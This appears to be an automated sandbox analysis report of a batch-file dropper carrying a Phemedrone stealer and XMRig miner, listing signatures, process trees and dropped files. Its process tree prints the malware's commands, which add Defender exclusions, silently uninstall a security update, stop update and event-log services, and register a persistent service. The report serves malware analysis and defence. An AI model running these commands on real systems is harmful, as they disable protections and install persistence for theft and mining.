Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/02/2024, 09:47

General

  • Target
    Launch_this(Not_exe file).bat
  • Size 39B
  • Sample240224-lsla2sha3y
  • SHA256 9690649d6e693e18175ea4a29fb5860c9c17afcab518ad1e28b3365dc5fbe241
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Phemedrone

    An information and wallet stealer written in C#.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Creates new service(s) 1 TTPs
  • Drops file in Drivers directory 2 IoCs
  • Stops running service(s) 3 TTPs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 46 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Launch_this(Not_exe file).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2876
    • C:\Users\Admin\AppData\Local\Temp\License.exe
      License.exe
      2⤵
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3124
    • C:\Users\Admin\AppData\Local\Temp\TrixXPloit.exe
      TrixXPloit.exe
      2⤵
      • Drops file in Drivers directory
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4800
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5088
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2328
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          4⤵
            PID:3560
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:2564
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          3⤵
          • Launches sc.exe
          PID:3296
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          3⤵
          • Launches sc.exe
          PID:1600
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          3⤵
          • Launches sc.exe
          PID:3800
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          3⤵
          • Launches sc.exe
          PID:2496
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe delete "SmartWindows"
          3⤵
          • Launches sc.exe
          PID:4240
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4236
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4252
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3404
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1188
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe create "SmartWindows" binpath= "C:\ProgramData\Common\Recover.exe" start= "auto"
          3⤵
          • Launches sc.exe
          PID:4456
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop eventlog
          3⤵
          • Launches sc.exe
          PID:2900
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe start "SmartWindows"
          3⤵
          • Launches sc.exe
          PID:3320
    • C:\Windows\system32\wbem\WmiApSrv.exe
      C:\Windows\system32\wbem\WmiApSrv.exe
      1⤵
        PID:2484
      • C:\ProgramData\Common\Recover.exe
        C:\ProgramData\Common\Recover.exe
        1⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1752
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1788
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          2⤵
          • Launches sc.exe
          PID:4888
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2968
          • C:\Windows\system32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            3⤵
              PID:1660
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            2⤵
            • Launches sc.exe
            PID:4668
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            2⤵
            • Launches sc.exe
            PID:4404
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            2⤵
            • Launches sc.exe
            PID:4980
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            2⤵
            • Launches sc.exe
            PID:1448
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4784
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3228
          • C:\Windows\system32\conhost.exe
            C:\Windows\system32\conhost.exe
            2⤵
              PID:5024
            • C:\Windows\system32\powercfg.exe
              C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
              2⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2864
            • C:\Windows\system32\powercfg.exe
              C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
              2⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2244
            • C:\Windows\explorer.exe
              explorer.exe
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1504

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                Recover.exe

                • Path C:\ProgramData\Common\Recover.exe
                • Size 2.7MB
                • SHA256 c880c4b1702d093d6e9bbeb772da0459da2387db9b7b13e95620996e5773db83
                • MD5 SHA1 SHA512 SSDEEP

                __PSScriptPolicyTest_3aogguwg.3zg.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3aogguwg.3zg.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                hosts

                • Path C:\Windows\system32\drivers\etc\hosts
                • Size 3KB
                • SHA256 80a60d7ec533d820de20bcedeb41319e7b1def548b6ea73ddbd69455bac4e7a4
                • MD5 SHA1 SHA512

                memory/1504-85-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/1504-93-0x0000000001FA0000-0x0000000001FC0000-memory.dmp

                memory/1504-89-0x0000000001F80000-0x0000000001FA0000-memory.dmp

                memory/1504-88-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/1504-91-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/1504-87-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/1504-86-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/1504-92-0x0000000001FA0000-0x0000000001FC0000-memory.dmp

                memory/1504-84-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/1504-90-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/1504-83-0x00000000014A0000-0x00000000014C0000-memory.dmp

                memory/1504-82-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/1504-81-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/1504-80-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/1504-79-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/1504-78-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/1504-77-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/1504-76-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/1788-31-0x00007FFB8B670000-0x00007FFB8C131000-memory.dmp

                memory/1788-55-0x000002997E3C0000-0x000002997E3CA000-memory.dmp

                memory/1788-59-0x000002997E520000-0x000002997E528000-memory.dmp

                memory/1788-60-0x000002997E550000-0x000002997E556000-memory.dmp

                memory/1788-61-0x000002997E560000-0x000002997E56A000-memory.dmp

                memory/1788-62-0x000002997BF40000-0x000002997BF50000-memory.dmp

                memory/1788-65-0x00007FFB8B670000-0x00007FFB8C131000-memory.dmp

                memory/1788-32-0x000002997BF40000-0x000002997BF50000-memory.dmp

                memory/1788-57-0x000002997E510000-0x000002997E51A000-memory.dmp

                memory/1788-51-0x00007FF49E0A0000-0x00007FF49E0B0000-memory.dmp

                memory/1788-54-0x000002997E300000-0x000002997E3B5000-memory.dmp

                memory/1788-53-0x000002997BF40000-0x000002997BF50000-memory.dmp

                memory/1788-52-0x000002997E2E0000-0x000002997E2FC000-memory.dmp

                memory/1788-56-0x000002997E530000-0x000002997E54C000-memory.dmp

                memory/1788-58-0x000002997E570000-0x000002997E58A000-memory.dmp

                memory/3124-0-0x00000000021C0000-0x00000000021DC000-memory.dmp

                memory/3124-4-0x0000000075000000-0x00000000757B0000-memory.dmp

                memory/3124-5-0x0000000004A50000-0x0000000004AB6000-memory.dmp

                memory/3124-6-0x00000000055C0000-0x00000000055D0000-memory.dmp

                memory/3124-7-0x00000000051F0000-0x0000000005282000-memory.dmp

                memory/3124-10-0x0000000075000000-0x00000000757B0000-memory.dmp

                memory/5024-69-0x0000000140000000-0x000000014000D000-memory.dmp

                memory/5024-68-0x0000000140000000-0x000000014000D000-memory.dmp

                memory/5024-75-0x0000000140000000-0x000000014000D000-memory.dmp

                memory/5024-70-0x0000000140000000-0x000000014000D000-memory.dmp

                memory/5024-72-0x0000000140000000-0x000000014000D000-memory.dmp

                memory/5024-71-0x0000000140000000-0x000000014000D000-memory.dmp

                memory/5088-26-0x00007FFB8B0A0000-0x00007FFB8BB61000-memory.dmp

                memory/5088-23-0x00000248F0070000-0x00000248F0080000-memory.dmp

                memory/5088-22-0x00000248F0070000-0x00000248F0080000-memory.dmp

                memory/5088-21-0x00007FFB8B0A0000-0x00007FFB8BB61000-memory.dmp

                memory/5088-16-0x00000248F2290000-0x00000248F22B2000-memory.dmp